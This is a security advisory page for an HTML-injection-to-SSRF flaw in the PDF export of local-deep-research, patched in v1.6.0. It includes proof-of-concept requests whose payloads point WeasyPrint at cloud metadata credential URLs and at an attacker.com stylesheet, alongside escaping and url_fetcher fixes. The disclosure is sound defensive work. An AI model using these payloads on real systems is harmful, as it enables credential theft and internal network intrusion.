What is the CVSS score of EUVD-2026-32978?

EUVD-2026-32978 has a CVSS 3.1 base score of 5.0 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N. EPSS exploitation probability: 0.0%.

Is there a patch available for EUVD-2026-32978?

Yes, a patch is available for EUVD-2026-32978. Update the affected software to the latest version immediately.

local-deep-research EUVD-2026-32978

| CVE-2026-43979 MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-05-11 https://github.com/LearningCircuit/local-deep-research

GHSA-fj2m-qvh9-jq4q

XSS Denial Of Service Python SSRF Microsoft

5.0

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

5.0 MEDIUM

AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

vuln.today AI

5.0 MEDIUM

Network-reachable API endpoint (AV:N), authenticated user required (PR:L), WeasyPrint fetches URLs outside application trust boundary causing scope change (S:C), confidentiality limited to what SSRF can read from internal services (C:L).

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

Low

Integrity

None

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Jul 23, 2026 - 23:46 vuln.today

Analysis Generated

Jul 23, 2026 - 23:46 vuln.today

CVE Published

May 11, 2026 - 19:40 nvd

MEDIUM 5.0

DescriptionGitHub Advisory

Summary

PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values - specifically title (sourced from research.title or research.query) and metadata key-value pairs - directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.

---

Details

Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171-176

python

# pdf_service.py:171-176
if title:
    html_parts.append(f"<title>{title}</title>")
# ← title is not escaped

if metadata:
    for key, value in metadata.items():
        html_parts.append(f'<meta name="{key}" content="{value}">')
# ← key/value are not escaped

Data flow trace:

User input: research.query
        │
        ▼
research_routes.py:1321
  pdf_title = research.title or research.query
        │
        ▼
research_routes.py:1325-1326
  export_report_to_memory(report_content, format, title=pdf_title)
        │
        ▼
pdf_service.py:107
  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
        │
        ▼
pdf_service.py:137
  _markdown_to_html(markdown_content, title, metadata)
        │
        ▼
pdf_service.py:172
  f"<title>{title}</title>"   ← injection point, no escaping
        │
        ▼
pdf_service.py:112
  HTML(string=html_content)   ← WeasyPrint renders the injected HTML

research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.

Injection point 1: <title> tag breakout

Input:    </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>

When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.

Injection point 2: <meta> attribute breakout

Input:    " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">

WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.

---

Proof of Concept

Step 1: Log in and submit a research query containing the injection payload

http

POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>

{
  "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
  "mode": "quick",
  "model_provider": "OLLAMA",
  "model": "llama3"
}

The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".

Step 2: After the research completes, trigger PDF export

http

POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>

Step 3: Intermediate HTML constructed server-side

html

<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>

Step 4: WeasyPrint issues an outbound HTTP request to the injected URL

Observed in network monitoring (e.g. tcpdump) or the target internal service logs:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...

Lightweight verification (no SSRF environment required):

Set the query to:

</title><title>INJECTED

The resulting HTML will contain two <title> tags and the PDF document metadata title will read INJECTED, confirming successful injection.

---

Impact

1. Chained SSRF (High Severity)

By injecting <img src>, <link href>, or <style>@import url() tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to:

Cloud metadata services (169.254.169.254) on AWS, GCP, or Azure - enabling theft of IAM credentials and instance identity documents.
Internal network services (192.168.x.x, 10.x.x.x) - enabling reconnaissance and interaction with internal APIs not exposed to the internet.
Localhost administrative interfaces - if SSRF protections are only applied at the user-input validation layer.

This is an effective bypass of the application's existing SSRF defenses in ssrf_validator.py, because WeasyPrint's outbound resource requests are never routed through that validator.

2. HTML Document Structure Corruption

Injected tags can prematurely close <head> and insert arbitrary content into <body>, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality.

3. CSS Injection (Medium Severity)

By injecting <link> or <style> tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing.

4. Affected Scope

All PDF export operations are affected.
The vulnerability is reachable by any authenticated user - no elevated privileges required.
Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability.

---

Remediation

Apply html.escape() to all user-controlled values before embedding them in the HTML template inside _markdown_to_html:

python

import html

if title:
    html_parts.append(f"<title>{html.escape(title)}</title>")

if metadata:
    for key, value in metadata.items():
        html_parts.append(
            f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">'
        )

Additionally, consider configuring WeasyPrint with a custom url_fetcher that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources:

python

def safe_url_fetcher(url, timeout=10):
    from ssrf_validator import validate_url
    if not validate_url(url):
        raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}")
    return weasyprint.default_url_fetcher(url, timeout=timeout)

html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher)

---

*Report generated against commit f3540fb3 - local-deep-research, branch main.*

---

Maintainer note (2026-04-24)

Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to main:

#3082 (merged 2026-03-29, shipped in v1.5.0+) - closes the HTML-injection sinks:

html.escape() now wraps the title value in <title>…</title>
Same for metadata keys/values in <meta name="…" content="…">
Regression tests added in tests/web/services/test_pdf_service.py

#3613 (merged 2026-04-24, shipped in v1.6.0) - implements the url_fetcher recommendation from the Remediation section:

New _safe_url_fetcher in pdf_service.py delegates to weasyprint.default_url_fetcher only after security.ssrf_validator.validate_url accepts the URL
Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes
Covers the chained SSRF path through any URL reaching the rendered HTML - markdown body, citations, raw-HTML passthrough via Python-Markdown
Blocked URLs raise UnsafePDFResourceURLError (a ValueError subclass) so WeasyPrint skips the resource and the render continues
8 regression tests, including an end-to-end render with <img src="http://169.254.169.254/…"> embedded in the body

Advisory metadata: CVSS CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N (5.0 Moderate), CWEs CWE-79 + CWE-918. Patched in v1.6.0 - upgrade to v1.6.0 or later to receive both fixes.

AnalysisAI

HTML injection in local-deep-research's PDF export service (pdf_service.py:_markdown_to_html) allows any authenticated user to embed arbitrary HTML tags into WeasyPrint-rendered documents by supplying a crafted research query, chaining directly to SSRF that bypasses the application's existing ssrf_validator.py defenses. All versions prior to v1.6.0 are affected via the pip package pkg:pip/local-deep-research; a detailed public proof-of-concept is included in the GitHub Security Advisory (GHSA-fj2m-qvh9-jq4q). No CISA KEV listing and EPSS of 0.03% (8th percentile) indicate no confirmed widespread exploitation, but the attack is trivially repeatable by any authenticated user on shared or cloud-hosted deployments, with IAM credential theft as the highest-severity outcome.

Technical ContextAI

The vulnerable component is the Python pip package local-deep-research (CPE: pkg:pip/local-deep-research), specifically PDFService._markdown_to_html() in src/local_deep_research/web/services/pdf_service.py. The root cause maps to CWE-79 (Improper Neutralization of Input During Web Page Generation) - user-controlled values from research.title or research.query are interpolated via Python f-strings directly into HTML <title> and <meta> tags without calling html.escape(), allowing HTML tag breakout. This feeds into CWE-918 (SSRF) because WeasyPrint, the PDF rendering engine, automatically issues outbound HTTP GET requests for any URLs encountered in resource tags such as <img src>, <link href>, and <style>@import url() in the rendered HTML. The application has SSRF defenses in ssrf_validator.py, but these are only applied at the user-input validation layer; WeasyPrint's internal URL fetching is never routed through that validator, making HTML injection an effective SSRF bypass. The data flow is: POST /api/start_research (query stored as-is) → POST /api/v1/research/<id>/export/pdf → _markdown_to_html() → WeasyPrint HTML(string=html_content) → outbound HTTP request.

RemediationAI

Upgrade to local-deep-research v1.6.0 or later to receive both fixes: PR #3082 applies html.escape() to the title and metadata fields in _markdown_to_html() (closing the injection sinks), and PR #3613 implements a custom WeasyPrint url_fetcher (_safe_url_fetcher) that delegates to security.ssrf_validator.validate_url before allowing outbound requests, blocking AWS metadata (169.254.169.254), RFC1918 addresses, loopback, and non-http(s) schemes. See https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-fj2m-qvh9-jq4q and patch commits at https://github.com/LearningCircuit/local-deep-research/pull/3082 and https://github.com/LearningCircuit/local-deep-research/pull/3613. For deployments that cannot immediately upgrade, disabling the PDF export endpoint entirely eliminates the attack surface without side effects to other functionality. As a secondary compensating control, applying network-level egress filtering on the server to block RFC1918 ranges, loopback, and 169.254.169.254 mitigates the SSRF impact but does not close the HTML injection sink. Restricting application access to fully trusted users reduces risk but is not a technical fix.